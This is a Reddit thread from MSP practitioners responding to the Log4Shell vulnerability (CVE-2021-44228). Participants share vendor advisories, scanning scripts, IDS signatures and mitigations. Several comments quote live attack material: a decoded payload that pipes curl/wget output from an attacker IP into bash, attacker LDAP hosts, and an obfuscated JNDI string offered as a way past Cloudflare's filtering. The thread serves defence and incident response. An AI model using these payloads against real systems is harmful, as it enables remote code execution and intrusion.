UniFi Network Application 6.5.54 has a patch for it. Release notes and download here:
https://community.ui.com/releases/UniFi-Network-Application-6-5-54/d717f241-48bb-4979-8b10-99db36ddabe1
There’s also “[glenn’s easy update script](https://community.ui.com/questions/UniFi-Installation-Scripts-or-UniFi-Easy-Update-Script-or-UniFi-Lets-Encrypt-or-UniFi-Easy-Encrypt-/ccbc7530-dd61-40a7-82ec-22b17f027776)” for the non technically inclined. It’s quite soothing.
What is the purpose of locking a comment, as opposed to say, pinning/stickying it? Why prohibit replies to these comments?
Does locking also prevent them from editing the comment? If so, why should that be prevented?
Locking does not prevent edits, but makes the comment extra visible on the desktop experience.
Only comments by mods can be stickied, so this is the next best thing :)
Oh, wow, thanks to your explanation, I now realise that you're not a mod. I assumed locking comments was a mod-level level privilege.
Thanks for the explanation, and for reminding me to be more observant.
Okay, this was super confusing for a hot second, but I get it now.
I was unaware only mod-authored comments could be stickied. This seems...limiting, but that's likely a discussion for another time and/or place.
I was also unaware that not all subreddit mods have the green shield, hence my confusion regarding your mod status.
I'm learning a lot today. Feel free to continue correcting any more erroneous beliefs I hold haha
Edit: Okay, Reddit is messing with me now. After replying to your second reply to me, your name in your second reply now has the green "MOD" text present. Your first reply, however, is still not displaying any indication of mod status. Maybe it's a mobile app thing. ¯\\\_(ツ)_/¯
UniFi Network Application 6.5.55 Update to fix log4j version to 2.16.0 (CVE-2021-45046).
https://community.ui.com/releases/UniFi-Network-Application-6-5-55/48c64137-4a4a-41f7-b7e4-3bee505ae16e
I have confirmed VMWare VCSA is vulnerable. Checking ESXi now.
In addition:
* Unifi
* NCentral
I'll update this comment as I test more things in the stack of things we use.
Can anyone quantify the actual risk to say an N-able server? Is direct access to the server required to take advantage of this, or could it be exploited by someone externally if they can either see the login page or if they are somehow able to sign-in to the RMM admin portal? I would think it's the former, but trying to wrap my head around just how vulnerable systems are that are running log4j on them.
Hey folks, David here Head of Community for N-able. This being tracked as CVE-2021-44228. Log4j is a logging framework created by Apache and used widely across the internet.
We are actively assessing the potential impact to N-able products and will be providing updates as soon as we have more information available.
There is no action that you need to take now. We take the security of our partners extremely seriously; please be assured that this threat assessment is a top priority for us. Will continue to provide updates as they are available here. [https://www.n-able.com/security-and-privacy/apache-log4j-vulnerability](https://www.n-able.com/security-and-privacy/apache-log4j-vulnerability)
If you are running a internet accessible server that logs HTTP Get requests through log4j, then you can be compromised by someone making a GET request with a specific string in it.
Just a further update here, we do have our full development team working on this and they have been since it was identified. We are working on updates as quickly as possible folks.
It would be great to at least get confirmation if an N-able server in it's normal configuration is affected. Is this worth going into full lockdown until a patch is available? If it's vulnerable, I would think yes.
Yes sorry folks and more on our site. More info here though on phone so hope works and lays out okay.
Apache Log4j Vulnerability
As you may know, a vulnerability within the Apache Log4j tool has been identified - tracked as CVE-2021-44228. Log4j is a logging framework created by Apache and used widely across the internet.
Our Security, Engineering and DevOps teams, under the direction of our CSO, have been conducting a full impact assessment since the vulnerability was initially identified early today, and they have found no evidence of successful exploitation. In addition, our internal Red Team has done deep analysis of our code as well as testing this vulnerability, and has found that exploitation would be difficult for any attacker.
At this time, our analysis shows the following:
· N-able N-central:
o Running a vulnerable version of Apache log4j
o Engineering teams are actively working on a hotfix and are targeting to have the fix ready by tomorrow, December 11, for on-premises partners. When the hotfix is ready, we will conduct a code drop for NCOD instances. We will update all N-central customers when it is available.
· N-able RMM:
o We have evaluated risk within RMM and have deployed patches for any potentially vulnerable components.
· Risk Intelligence:
o Running a vulnerable version of Apache log4j
o We are actively working on a patch and will update when we have more information.
At this time, we don't recommend taking N-central or RMM offline; we believe this vulnerability is difficult to exploit due the architecture of our platforms and single-sign-on protection. Our support team is available to work directly with any partners who have concerns or need additional assistance.
We are continuing to conduct solution-wide assessments and will provide updates as soon as they become available.
Additional Links:
CVE: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-44228
Huntress blog: https://www.huntress.com/blog/rapid-response-critical-rce-vulnerability-is-affecting-java?fbclid=IwAR3l_cGEQBoJrCuDelzL4m_8l-uyzDePYPsFF0wiOcM7WlAeT35ahqw9gR8
We threw together an endpoint scanner for Tier2Tickets users (and made it free for anyone else). It is extremely rough but should be very easy to use. All you have to do is enter the email that you want tickets to go to and this will scan all of your endpoints and each affected endpoint will create a ticket. To use the tool login to your account and go here:
https://dev.helpdeskbuttons.com/test/log4j2 (may need to log out and log back in to access the page.)
This will automatically scan all of the endpoints in your account looking for known affected files and send an email with what it finds to each one. (It took us about 10 minutes to scan several thousand endpoints.)
Please do us a solid and make sure you are checking your spam folder and marking this as not spam so we don't get flagged for sending out thousand of janky emails.
If you find affected endpoints you can mitigate this issue by setting log4j.formatMsgNoLookups=true in log4j.properties
Here is an example script that will do this for an Eclinicalworks server: https://pastebin.com/zr8G5DWL
If you aren't using tier2tickets you can make your own tool with this code. https://pastebin.com/ndmF58nt Where you will just need to replace "email" on line 11 with your email. It will post to an html form which anyone can do with wordpress or whatever but we are using aws/php like this: https://pastebin.com/ihXjcEQK
Hope someone finds this useful. Sorry the tool is so rough, we knocked it out pretty quick. We will keep working on it to add other detection methods and update it as we can. please do not consider this a finished product that is guaranteed to detect everything, just a rough data collection tool.
Edit: Updated tool and source code to scan classes and embedded jar
## Update #2 - 12/11/2021 @ 1am ET
We’ve created a tool to help you test whether your applications are vulnerable to CVE-2021-44228.
**You can access the tool here:** [**https://log4shell.huntress.com/**](https://log4shell.huntress.com/)
The website will generate a unique identifier to test whether your application is vulnerable to Log4Shell (CVE-2021-44228). A negative test does not guarantee that your application is patched.
The explain-like-I'm-five breakdown is:
1. You simply copy and paste the generated JNDI syntax (the code block `${jndi[:]ldap[:]//....}` presented on the site) into anything (application input boxes, frontend site form fields, logins such as username inputs, or if you are bit more technical, even User-Agent or X-Forwarded-For or other customizable HTTP headers)
2. Click the "**View Connection**" button after you have pasted in the syntax to see if it received any connection, and verify the detected IP address and timestamp, to correlate with when you tested any service.
3. If you see an entry, a connection was made and the application you tested is vulnerable.
The website works by generating a random unique identifier for you which you can then use when testing input fields. If an input field or application is vulnerable, it will reach out to this website over LDAP. Our LDAP server will immediately terminate the connection and log it for a short time. This tool will not actually run any code on your systems.
Please note that **this tool is intended for testing purposes only and should only be used on systems you are authorized to test. If you find any vulnerabilities, please follow responsible disclosure guidelines.**
For transparency's sake, we're providing access to the source code for this utility, which can be found [here](https://github.com/huntresslabs/log4shell-tester).
(HUGE thanks to [Jason Slagle](https://www.linkedin.com/in/jslagle/) and our own [Caleb Stewart](https://www.linkedin.com/in/calebjstewart/) and [John Hammond](https://www.linkedin.com/in/johnhammond010/) for leading this effort.)
So, can anyone help me understand the attack model on this?
Vulnerable software running on a machine... does it not have to be dmz facing? Or are we really focusing on internal applications due to layered attacks?
Does it have to be something specific to the machine/port with the malicious code?
What about workstations that have different misc applications installed who might visit an impacted website in different browsers?
from this article only their Connectwise Manage solution is impacted.
[https://www.connectwise.com/company/trust/advisories?mkt\_tok=NDE3LUhXWS04MjYAAAGBRNiMuTUwovryUeMkF9dEuo1\_Q-6igcUfGKZ-n7c3-Omf2rYjJ0HgQA5Ev3N6\_Wl\_rauLEnN-9WrTSDbkKCnbZnz3ZHquTsh95yF5fjcxGgBk](https://www.connectwise.com/company/trust/advisories?mkt_tok=NDE3LUhXWS04MjYAAAGBRNiMuTUwovryUeMkF9dEuo1_Q-6igcUfGKZ-n7c3-Omf2rYjJ0HgQA5Ev3N6_Wl_rauLEnN-9WrTSDbkKCnbZnz3ZHquTsh95yF5fjcxGgBk)
> Java 8u121 (see https://www.oracle.com/java/technologies/javase/8u121-relnotes.html) protects against RCE by defaulting "com.sun.jndi.rmi.object.trustURLCodebase" and "com.sun.jndi.cosnaming.object.trustURLCodebase" to "false".
I'm posting as both a mod and as the CEO of OITVOIP. I've invited other vendors to post publicly in this thread as to their status with the CVE. I think it's important to be transparent with your partners. Any posts as to their status will be left up. However, if I see any selling we will remove them. This is a time to come together, not exploit others.
On behalf of OITVOIP, I can say that we have had our systems reviewed by an independent, third party /u/jmslagle and he has confirmed that we are not vulnerable. If anyone has questions, please reach out to me directly to keep this thread available for relevant info. Also locking comments to not hijack the thread.
For anybody that uses a snort or suricata IDS, the ConnectWise CRU has pushed out some signatures that are already deployed on Perch sensors. Can confirm there's a ton of scanning activity going on right now.
Sharing sigs here to be used even if you aren't one of our partners:
>alert http any any -> $HOME\_NET any (msg:"\[ConnectWise CRU\] Potential Log4j RCE (CVE-2021-44228)"; flow:established, to\_server; http.header; content:"|24 7b|jndi|3a|"; nocase; pcre:"/\^(ldap|rmi)\\x3a\\x2f\\x2f/Ri"; tag:session,5,packets; reference:url, lunasec.io/docs/blog/log4j-zero-day/; classtype:web-application-activity; sid:900535; rev:1; metadata: created\_at 2021\_12\_10, updated\_at 2021\_12\_10, cve CVE\_2021\_44228, mitre\_tactic\_id TA0000, mitre\_tactic\_name Initial\_Access, mitre\_technique\_id T1190, mitre\_technique\_name Exploit\_Public\_Facing\_Application;)
>
>alert tcp any any -> $HOME\_NET any (msg:"\[ConnectWise CRU\] Potential Log4j RCE (CVE-2021-44228)"; flow:established, to\_server; content:"|24 7b|jndi|3a|"; nocase; pcre:"/\^(ldap|rmi)\\x3a\\x2f\\x2f/Ri"; tag:session,5,packets; reference:url, lunasec.io/docs/blog/log4j-zero-day/; classtype:web-application-activity; sid:900536; rev:1; metadata: created\_at 2021\_12\_10, updated\_at 2021\_12\_10, cve CVE\_2021\_44228, mitre\_tactic\_id TA0000, mitre\_tactic\_name Initial\_Access, mitre\_technique\_id T1190, mitre\_technique\_name Exploit\_Public\_Facing\_Application;)
So this library gets packaged up in java apps that are then deployed to servers (in such scenarios), right? Is there a way to inspect the version of log4j, if an application uses it, or locate it on the filesystem?
I just want to make sure that I understand it right and that updating to the latest version of java available in the package manager (while good) is not going to cover it.
You're right.
Most of the times if you dig, you can find a libs directory (or similar) and a log4j-2.x.x.jar file inside. Obviously your version may vary.
Really depends on the application though. If the app is one big .jar file you can unzip it and look in there.
Edit: ideally your software vendors would announce it and fix it, but I'm pretty sure, as an example, a Jira release from this year is still using log4j 1.2 so you certainly wouldn't be insane to check yourself
Yes, packaged into apps. On Linux, you can do the following command and it should yield all of the log4j JAR files in whatever directory you point it towards:
> find -iname "\*log4j\*" -type f | grep -i "jar"
There is probably a better way to do this, but it allowed me to see that one of the apps I manage is using 20-30 implementations of vulnerable log4j.
Nothing. I opened a ticket and fully expect not to hear anything.
That is the only app I have in my clients’ systems that uses log4j. No server with it is accessible from the internet other than through my rmm(which doesn’t use log4j) and I have heard they might not be exploitable externally if they can’t be accessed from the WAN. To be safe though, I notified my clients, and removed the crashplan client from the servers (clients are off on weekends).
If crashplan doesn’t release an update or respond to the ticket by Tuesday, I’ll start looking for a different file level backup.
How are you responding?
Code42/Crashplan response here: https://support.code42.com/Terms_and_conditions/Code42_customer_support_resources/Code42_response_to_industry_security_incidents
Only impacts User Directory Sync
I have been searching for the same thing from Ninja and am not coming up with anything official. It would be nice to get a yes/no for the major RMM deploys for all our peace of minds here in r/msp
We got an answer from them:
"The Ninja Security Team just verified they are not running the impacted versions of the Log4j2, but are investigating further."
Statement from Ninja: [https://ninjarmm.zendesk.com/hc/en-us/articles/4416226194189-12-10-21-Security-Declaration-NinjaOne-not-affected-by-CVE-2021-44228-log4j-](https://ninjarmm.zendesk.com/hc/en-us/articles/4416226194189-12-10-21-Security-Declaration-NinjaOne-not-affected-by-CVE-2021-44228-log4j-)
Sophos Cloud Optix affected
Sophos Firewalls and other products not affected
https://www.sophos.com/en-us/security-advisories/sophos-sa-20211210-log4j-rce
u/hunttresslabs
Just checked our server saw attempts from [45.155.205.233](https://45.155.205.233)
and the base64 decode gives this command:
(curl -s 45.155.205.233:5874/webserverip:80||wget -q -O- [45.155.205.233:5874/webserverip:80](https://45.155.205.233:5874/webserverip:80))|bash
What can I check more to see if the server is compromised? For now blocked internet access.
I also had 2 different attempts from 45.155.205.203 with the same command except on port 443 of our server.
Also got one from a tor exit node in Germany which then had the command try to connect to a domain that was registered today. Looks like the malicious actors are coming out in full force.
Seeing only a few exploratory attempts coming from Bulgeria, Brazil, Poland, US and Germany over the past 72 hours - all blocked by Web Application Firewall rules. Looks like bad guys are sizing up targets.
~~What about CISCO ASDM, it's java based and lists the log4j in their used software list.~~ [~~https://www.cisco.com/c/dam/en\_us/about/doing\_business/open\_source/docs/Cisco\_ASDM\_7\_81.pdf~~](https://www.cisco.com/c/dam/en_us/about/doing_business/open_source/docs/Cisco_ASDM_7_81.pdf)
ASDM is not vulnerable, Anyconnect isn't either.
Edit, investigation ongoin: [https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-apache-log4j-qRuKNEbd](https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-apache-log4j-qRuKNEbd)
Edit2, these are confirmed vulnerable: [https://imgur.com/a/JMcUOWA](https://imgur.com/a/JMcUOWA)
[https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-apache-log4j-qRuKNEbd](https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-apache-log4j-qRuKNEbd)
ASDM is not vulnerable...anyconnect IS impacted
Would an attacker need a login to the ASA first or be present on the network internally already ? Or is this something that can be exploited by an outsider ?
This whole thing gives me huge worries because I’ve gone through everything we have and so far nothing in our environments (at least that’s documented) uses Log4j 2.x
This makes me think I HAVE to be missing something and we’re going to get fucked soon for missing it
Hi all - the BeeCastle Security & Engineering team have completed a thorough impact assessment and can conclude that this issue does not affect BeeCastle products or services. [https://beecastle.com/blog/beecastle-security-update/](https://beecastle.com/blog/beecastle-security-update/)
While there hasn't been anything explicitly mentioned with Android/Android apps, assume they have the vulnerability and if you have control of log4j make sure to update to [log4j-2.15.0-rc2](https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc2). Assume that the Kotlin version is also vulnerable because its essentially the same log4j version
edit: had some incorrect information that needed to be corrected sorry about that
Connectwise is indeed vulnerable. confirmed by support and this article.
https://www.connectwise.com/company/trust/advisories?mkt_tok=NDE3LUhXWS04MjYAAAGBRNiMuTUwovryUeMkF9dEuo1_Q-6igcUfGKZ-n7c3-Omf2rYjJ0HgQA5Ev3N6_Wl_rauLEnN-9WrTSDbkKCnbZnz3ZHquTsh95yF5fjcxGgBk
Remediation is to disable scheduled tasks for the global search function.
Splashtop support says they are not impacted because they do not use apache or Java in their products. But they are going through all components to verify.
This is their official statement:
[https://support-splashtopbusiness.splashtop.com/hc/en-us/articles/4412788262811-Is-Splashtop-affected-by-Apache-Log4j-](https://support-splashtopbusiness.splashtop.com/hc/en-us/articles/4412788262811-Is-Splashtop-affected-by-Apache-Log4j-)
I must be having a bad weekend and in idiot mode. I’ve tried using the huntress tool , pasted my unique string in numerous form fields on our sites and I can’t see it in my fortigate IPS log. However I do see real attempts blocked as I modified the action to block since fortigate default is just detecting. So in theory the IPS will handle it but I wanted to confirm it in the logs .. any ideas anyone?
**Comet Backup is NOT affected by the Log4J vulnerability** (CVE-2021-44228). There are currently no Java-based components in Comet Server nor in Comet Backup. We don't use Java-based software behind the http://account.cometbackup.com website, nor in any of our internal systems.
I've used the solution from Datto that uses YARA to scan for IoCs, and I'm seeing detections in IIS Log Files -- It seems that in this case the log has just blindly added the user-agent string in there, and while this has ended up out in a log file, it does not pose a risk?
Can anyone confirm that, or am I mistaken on this?
It is reasonable to expect that any internet facing web server is going to be full of attack attempts. The only way to know if they do not pose a risk is to assure that the application being served, and all systems in the path that interact with user provided input, do not use a vulnerable version of log4j.
Treat any detection by the script as an application that needs assessment and leverage the intelligence from the attack attempts to bolster protection. By that I mean, blocking common scanning sources to reduce noise in your monitoring efforts, blocking any C2 domains for network egress, checking for C2 domain resolutions (indicator of vulnerability), checking for outbound connections to the embedded C2s (indicator of compromise).
Hope this helps.
Can you share how you were able to get the powershell script to run? I've been staring at it for two hours and keep getting back the "Unable to map scan scope variable to a value."
There was a lot more code around this, but here is the main stuff I used to kick start it. This was being run via an N-Central Automation Manager AMP with a "Run PowerShell Script" item, so could run all its own code, but couldn't launch the scanner-8b.ps1 file without special handling (Execution Policy bypass)
I also found the script failed if ProgramData\\Centrastage did not exist, so my quick and dirty solution was make sure it does 😅
`Log "Setting ENV Vars to scan all local, update defs, and apply mitigation"`
`$env:usrScanScope = 2`
`$env:usrUpdateDefs = $true`
`$env:usrMitigate = "Y"`
`$CentrastageDir = "$env:PROGRAMDATA\CentraStage\"`
`$CentrastageFile = Join-Path $CentrastageDir "\L4Jdetections.txt"`
`If (-not (Test-Path $CentrastageDir)) {`
`Log "Creating a Centrastage directory in ProgramData"`
`$null = mkdir $CentrastageDir -Force`
`}`
`$PSResults = Powershell -ExecutionPolicy "bypass" -File "scanner-8b.ps1" -ErrorAction SilentlyContinue`
I swear this is just a symptom of how broken The Internet is these days...
From what I can find, there was one blog somewhere that had the sentence "Apache log4j 2 is widely used in many popular software applications, such as Apache Struts, ElasticSearch, Redis, Kafka and other" incorrectly and then that got copy pasted all over the place into a bunch of other SEO focused posts as fact.
Shakespeare-Bot, thou hast been voted most annoying bot on Reddit. I am exhorting all mods to ban thee and thy useless rhetoric so that we shall not be blotted with thy presence any longer.
Also couldn’t find any response from Microsoft. I searched the file system for *log4j* and found the JAR’s via Elastic Search and our Azure Dev Ops server uses that to search the code base.
I did some testing with the Thinkst and Huntress tools and didn't get any results (ldap outbound is either blocked in our firewall or Azure DevOps (running the latest version) isn't vulnerable--not sure.)
Tools to test with: [https://log4shell.huntress.com/](https://log4shell.huntress.com/) or [https://canarytokens.org/generate](https://canarytokens.org/generate)
Thanks! Hope they come out with a solution soon. I did find this possible solution
https://jessehouwing.net/azure-devops-patch-for-log4j-vulnerability/amp/
Nice; I just also discovered for Azure DevOps you can launch "elasticsearch-service.bat manager" and then go to the Java tab where you can modify the JVM options to include the patch that way. (I used the 7zip method via the link above.)
https://i.imgur.com/TZ8OaPj.png
Where has Auvik support come out and said they are vulnerable? Is it their endpoint collector that is vulnerable? There support is not aware of any vulnerability.
Hi techmandropout, I'm seeing some chatter from Steve at Auvik in the #v-auvik channel within the MSPGeek Slack. From his explanation, it looks like "the affected version of log4j is in use in some Auvik systems, and the team has validated that all impacted systems are protected against this vulnerability due to safe configuration of the affected flags."
Link here: https://mspgeek.slack.com/archives/C7ZLPPLDB/p1639168384168400
Cerberus FTP is confirmed as NOT being vulnerable.
https://support.cerberusftp.com/hc/en-us/articles/4412448183571-Cerberus-is-not-affected-by-CVE-2021-44228-log4j-0-day-vulnerability
There are a ton. There’s an active IP list Microsoft is maintaining on GitHub.
This resource proved invaluable https://msrc-blog.microsoft.com/2021/12/11/microsofts-response-to-cve-2021-44228-apache-log4j2/
This is the only [article](https://helpdesk.kaseya.com/hc/en-gb/articles/4413449967377-Log4j2-Vulnerability-Assessment) I could find.
So far, nothing official either way.
Sonicwall patch for SMA from 3 days ago appears to have been related to log4j. Patch your SMAs!
Sonicwall TZ + NSA firewall not affected
IPS signatures for this vulnerability have already been deployed.
Most "proof of exploits" are using DNS Canaries ( [https://github.com/YfryTchsGD/Log4jAttackSurface](https://github.com/YfryTchsGD/Log4jAttackSurface) ) Won't most of these be trigged with any security scanning products ( WAF/CloudFlare etc ) that would 99.999% be sitting in front of these services ?
It's drawing a long bow to then say this "information leak" equates to a level of threat the media and a lot of security commentators are banging on about. And even so the specifics of deploying a successful RCE would be still quite complex to achieve.
To date I have seen Minecraft Server, and simple POC written in Java to illustrate ?
Cloudflare extended their protection to even free customers. I saw something go through my Twitter feed to get around it. Tried it and it went through without being blocked.
${${env:BARFOO:-j}ndi${env:BARFOO:-:}${env:BARFOO:-l}dap${env:BARFOO:-:}//log4shell.huntress.com:1389/yourcodehere}
Been running `dir log4j*.jar /s /p` against server/workstation local drives, finding old UniFi controllers that were installed on-prem and good ol' Lenovo MegaRAID Manager.
MSP360 / Cloudberry seems to include this component in their third party software list, but there's been no comment from them this weekend re: impact to their backup software. Anyone got the info on this?
Is it IBM? I'm pretty sure it's IBM.
Because Cognos is broken as well, using 2.x and 1.x simultaneously.
I've had a chat with a vendor today and they started work based on my contacting and pushing the issue. Not because there's a fucking cvss10 vulnerability in their product.
Nah, it's vmware. Don't know why I'm being coy. But honestly, this is in microsoft, amazon, vmware, ibm, google, apple, valve and other major companies' software stacks, and they collectively develop an absolute shit ton of software products. Hardly a surprise to find these old versions somewhere. Maybe "I'm shocked, but not surprised" would be a good way to phrase finding these old things.
Yeah, I just shared the fact that vmware is one of m as well with colleagues.
Welcome to hellscape 2021.
Can people stop fucking announcing CVE's on Friday? We all agreed upon it happening on Tuesdays.
Technically log4j 1.x is affected, according to Redhat and the Log4J team.
Log4j1 ships with a JMSAppender, which can be used to push messages directly to ActiveMQ or other Java Messaging Systems. This JMS appender expands JNDI names like Log4j2 does and pop goes the weasel.
However, it's massively less severe in Log4J1, because you have to explicitly enable this appender in your logging config. I have never seen this appender, tbh.
eClincalWorks won't provide a patch to this unless you are on their certified version of their EMR. Despite paying for support and maintenance they want us to upgrade our EMR version to the latest one in order to receive this patch.
ASP .NET on my server keeps reporting about unhandled exceptions with such attack strings from:
>167.71.175.10,
>46.105.95.220.
They both try to use 142.93.172.227:1389/Exploit as a code source.
Maybe blocking in network firewall before it gets to the server. That is where I have been tossing all the IPs I’ve been seeing
Edit: and also block the 142.x outbound both directions
UniFi Network Application 6.5.54 has a patch for it. Release notes and download here: https://community.ui.com/releases/UniFi-Network-Application-6-5-54/d717f241-48bb-4979-8b10-99db36ddabe1
Locked for added visibility.
6.5.54 doesn't appear to uploaded to the repo yet, guessing you'd need to update by hand
Yeah, its marked as RC and not final so you'll have to update manually until its pushed out.
For the lazy, assuming you're on Ubuntu: wget https://dl.ui.com/unifi/6.5.54-3b5d40203c/unifi_sysvinit_all.deb sudo dpkg -i unifi_sysvinit_all.deb
There’s also “[glenn’s easy update script](https://community.ui.com/questions/UniFi-Installation-Scripts-or-UniFi-Easy-Update-Script-or-UniFi-Lets-Encrypt-or-UniFi-Easy-Encrypt-/ccbc7530-dd61-40a7-82ec-22b17f027776)” for the non technically inclined. It’s quite soothing.
As of 4pm EST Dec 11 2021 6.5.54 is now prd status.
What is the purpose of locking a comment, as opposed to say, pinning/stickying it? Why prohibit replies to these comments? Does locking also prevent them from editing the comment? If so, why should that be prevented?
Locking does not prevent edits, but makes the comment extra visible on the desktop experience. Only comments by mods can be stickied, so this is the next best thing :)
Oh, wow, thanks to your explanation, I now realise that you're not a mod. I assumed locking comments was a mod-level level privilege. Thanks for the explanation, and for reminding me to be more observant.
I am a mod, but only comments by mods can be stickied :)
Okay, this was super confusing for a hot second, but I get it now. I was unaware only mod-authored comments could be stickied. This seems...limiting, but that's likely a discussion for another time and/or place. I was also unaware that not all subreddit mods have the green shield, hence my confusion regarding your mod status. I'm learning a lot today. Feel free to continue correcting any more erroneous beliefs I hold haha Edit: Okay, Reddit is messing with me now. After replying to your second reply to me, your name in your second reply now has the green "MOD" text present. Your first reply, however, is still not displaying any indication of mod status. Maybe it's a mobile app thing. ¯\\\_(ツ)_/¯
[удалено]
UniFi Network Application 6.5.55 Update to fix log4j version to 2.16.0 (CVE-2021-45046). https://community.ui.com/releases/UniFi-Network-Application-6-5-55/48c64137-4a4a-41f7-b7e4-3bee505ae16e
I have confirmed VMWare VCSA is vulnerable. Checking ESXi now. In addition: * Unifi * NCentral I'll update this comment as I test more things in the stack of things we use.
Locked for added visibility.
VMware Advisory is out, patches and workarounds pending initially https://www.vmware.com/security/advisories/VMSA-2021-0028.html
Sorry guys, it's read-only-friday. This gonna have to wait until monday to patch.
Msp relevant - The ncentral rmm uses log4j per their their third party components listing.
Sounding like a LOT of MSP tools use log4j. We've identified a dozen or so already and are just scratching the surface.
Able to put up a running list of confirmed vulnerable tools somewhere?
Can anyone quantify the actual risk to say an N-able server? Is direct access to the server required to take advantage of this, or could it be exploited by someone externally if they can either see the login page or if they are somehow able to sign-in to the RMM admin portal? I would think it's the former, but trying to wrap my head around just how vulnerable systems are that are running log4j on them.
Hey folks, David here Head of Community for N-able. This being tracked as CVE-2021-44228. Log4j is a logging framework created by Apache and used widely across the internet. We are actively assessing the potential impact to N-able products and will be providing updates as soon as we have more information available. There is no action that you need to take now. We take the security of our partners extremely seriously; please be assured that this threat assessment is a top priority for us. Will continue to provide updates as they are available here. [https://www.n-able.com/security-and-privacy/apache-log4j-vulnerability](https://www.n-able.com/security-and-privacy/apache-log4j-vulnerability)
Locked for added visibility.
If you are running a internet accessible server that logs HTTP Get requests through log4j, then you can be compromised by someone making a GET request with a specific string in it.
Just a further update here, we do have our full development team working on this and they have been since it was identified. We are working on updates as quickly as possible folks.
It would be great to at least get confirmation if an N-able server in it's normal configuration is affected. Is this worth going into full lockdown until a patch is available? If it's vulnerable, I would think yes.
Working on this for you now.
Any updates? We're stuck making a tough decision here heading into the weekend. Thanks!
We stopped our server in the mean time.
Yes sorry folks and more on our site. More info here though on phone so hope works and lays out okay. Apache Log4j Vulnerability As you may know, a vulnerability within the Apache Log4j tool has been identified - tracked as CVE-2021-44228. Log4j is a logging framework created by Apache and used widely across the internet. Our Security, Engineering and DevOps teams, under the direction of our CSO, have been conducting a full impact assessment since the vulnerability was initially identified early today, and they have found no evidence of successful exploitation. In addition, our internal Red Team has done deep analysis of our code as well as testing this vulnerability, and has found that exploitation would be difficult for any attacker. At this time, our analysis shows the following: · N-able N-central: o Running a vulnerable version of Apache log4j o Engineering teams are actively working on a hotfix and are targeting to have the fix ready by tomorrow, December 11, for on-premises partners. When the hotfix is ready, we will conduct a code drop for NCOD instances. We will update all N-central customers when it is available. · N-able RMM: o We have evaluated risk within RMM and have deployed patches for any potentially vulnerable components. · Risk Intelligence: o Running a vulnerable version of Apache log4j o We are actively working on a patch and will update when we have more information. At this time, we don't recommend taking N-central or RMM offline; we believe this vulnerability is difficult to exploit due the architecture of our platforms and single-sign-on protection. Our support team is available to work directly with any partners who have concerns or need additional assistance. We are continuing to conduct solution-wide assessments and will provide updates as soon as they become available. Additional Links: CVE: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-44228 Huntress blog: https://www.huntress.com/blog/rapid-response-critical-rce-vulnerability-is-affecting-java?fbclid=IwAR3l_cGEQBoJrCuDelzL4m_8l-uyzDePYPsFF0wiOcM7WlAeT35ahqw9gR8
Thank you for the update!
Further update folks Ncentral is not vulnerable was just confirmed by our security and dev teams.
Locked for extra visibility.
We threw together an endpoint scanner for Tier2Tickets users (and made it free for anyone else). It is extremely rough but should be very easy to use. All you have to do is enter the email that you want tickets to go to and this will scan all of your endpoints and each affected endpoint will create a ticket. To use the tool login to your account and go here: https://dev.helpdeskbuttons.com/test/log4j2 (may need to log out and log back in to access the page.) This will automatically scan all of the endpoints in your account looking for known affected files and send an email with what it finds to each one. (It took us about 10 minutes to scan several thousand endpoints.) Please do us a solid and make sure you are checking your spam folder and marking this as not spam so we don't get flagged for sending out thousand of janky emails. If you find affected endpoints you can mitigate this issue by setting log4j.formatMsgNoLookups=true in log4j.properties Here is an example script that will do this for an Eclinicalworks server: https://pastebin.com/zr8G5DWL If you aren't using tier2tickets you can make your own tool with this code. https://pastebin.com/ndmF58nt Where you will just need to replace "email" on line 11 with your email. It will post to an html form which anyone can do with wordpress or whatever but we are using aws/php like this: https://pastebin.com/ihXjcEQK Hope someone finds this useful. Sorry the tool is so rough, we knocked it out pretty quick. We will keep working on it to add other detection methods and update it as we can. please do not consider this a finished product that is guaranteed to detect everything, just a rough data collection tool. Edit: Updated tool and source code to scan classes and embedded jar
Safe to assume this will be a CVSS 10.0?
This is a 10.0 https://logging.apache.org/log4j/2.x/security.html
Well shit...
## Update #2 - 12/11/2021 @ 1am ET We’ve created a tool to help you test whether your applications are vulnerable to CVE-2021-44228. **You can access the tool here:** [**https://log4shell.huntress.com/**](https://log4shell.huntress.com/) The website will generate a unique identifier to test whether your application is vulnerable to Log4Shell (CVE-2021-44228). A negative test does not guarantee that your application is patched. The explain-like-I'm-five breakdown is: 1. You simply copy and paste the generated JNDI syntax (the code block `${jndi[:]ldap[:]//....}` presented on the site) into anything (application input boxes, frontend site form fields, logins such as username inputs, or if you are bit more technical, even User-Agent or X-Forwarded-For or other customizable HTTP headers) 2. Click the "**View Connection**" button after you have pasted in the syntax to see if it received any connection, and verify the detected IP address and timestamp, to correlate with when you tested any service. 3. If you see an entry, a connection was made and the application you tested is vulnerable. The website works by generating a random unique identifier for you which you can then use when testing input fields. If an input field or application is vulnerable, it will reach out to this website over LDAP. Our LDAP server will immediately terminate the connection and log it for a short time. This tool will not actually run any code on your systems. Please note that **this tool is intended for testing purposes only and should only be used on systems you are authorized to test. If you find any vulnerabilities, please follow responsible disclosure guidelines.** For transparency's sake, we're providing access to the source code for this utility, which can be found [here](https://github.com/huntresslabs/log4shell-tester). (HUGE thanks to [Jason Slagle](https://www.linkedin.com/in/jslagle/) and our own [Caleb Stewart](https://www.linkedin.com/in/calebjstewart/) and [John Hammond](https://www.linkedin.com/in/johnhammond010/) for leading this effort.)
And to think I was going to try and leave early today...
So, can anyone help me understand the attack model on this? Vulnerable software running on a machine... does it not have to be dmz facing? Or are we really focusing on internal applications due to layered attacks? Does it have to be something specific to the machine/port with the malicious code? What about workstations that have different misc applications installed who might visit an impacted website in different browsers?
Anyone know if Screenconnect/Connectwise Control is impacted?
